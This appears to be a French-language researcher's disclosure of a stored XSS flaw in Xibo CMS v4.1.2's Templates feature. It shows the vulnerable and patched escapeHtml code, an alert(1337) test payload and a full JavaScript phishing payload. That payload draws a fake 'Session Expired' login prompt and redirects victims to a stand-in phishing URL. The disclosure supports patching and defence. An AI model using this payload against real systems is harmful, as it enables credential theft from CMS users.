
Cross-Site Scripting (XSS) stocké dans Xibo CMS v4.1.2 de Xibo Signage, en raison d'un manque de validation appropriée des entrées utilisateur.
J'ai découvert une vulnérabilité de Cross-Site Scripting (XSS) stocké dans Xibo CMS v4.1.2. Cette vulnérabilité permet à un attaquant authentifié d'injecter des scripts malveillants dans l'application en raison d'une validation inadéquate des entrées fournies par l'utilisateur.
Le problème réside dans la fonctionnalité « Templates ». Un attaquant peut créer un modèle contenant un élément de texte avec une charge utile malveillante. Lorsque ce modèle est consulté par d'autres utilisateurs, le script s'exécute dans leur navigateur, ce qui peut conduire au vol de données ou à d'autres actions malveillantes.
Pour exploiter la vulnérabilité, un utilisateur authentifié doit suivre ces étapes :
<script>alert(1337)</script>).Cette section contient l'extrait de code spécifique de Xibo CMS v4.1.2 qui ne désinfecte pas l'entrée du champ « Text ».
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
Dans une autre ligne du même document.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
Dans un autre document.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Cette section présente le code corrigé, qui inclut des mécanismes appropriés de désinfection des entrées et d'encodage des sorties afin de neutraliser les scripts malveillants.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
Dans une autre ligne du même document.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
Dans un autre document.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
La charge utile stockée est exécutée dans le contexte du navigateur de la victime, ce qui peut être exploité pour voler des informations sensibles telles que les mots de passe.
1. Injection de la charge utile : L'attaquant insère le script malveillant dans un élément texte au sein d'un modèle.

Le script que j'ai utilisé est le suivant :
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Scénario d'attaque : Une attaque courante simule une expiration de session pour capturer les identifiants de l'utilisateur. Le script détourne la page et présente cette fenêtre contextuelle à la victime.

Ces informations sont fournies à des fins éducatives et de recherche uniquement. Je ne suis PAS responsable de tout usage abusif ou dommage causé par ces informations.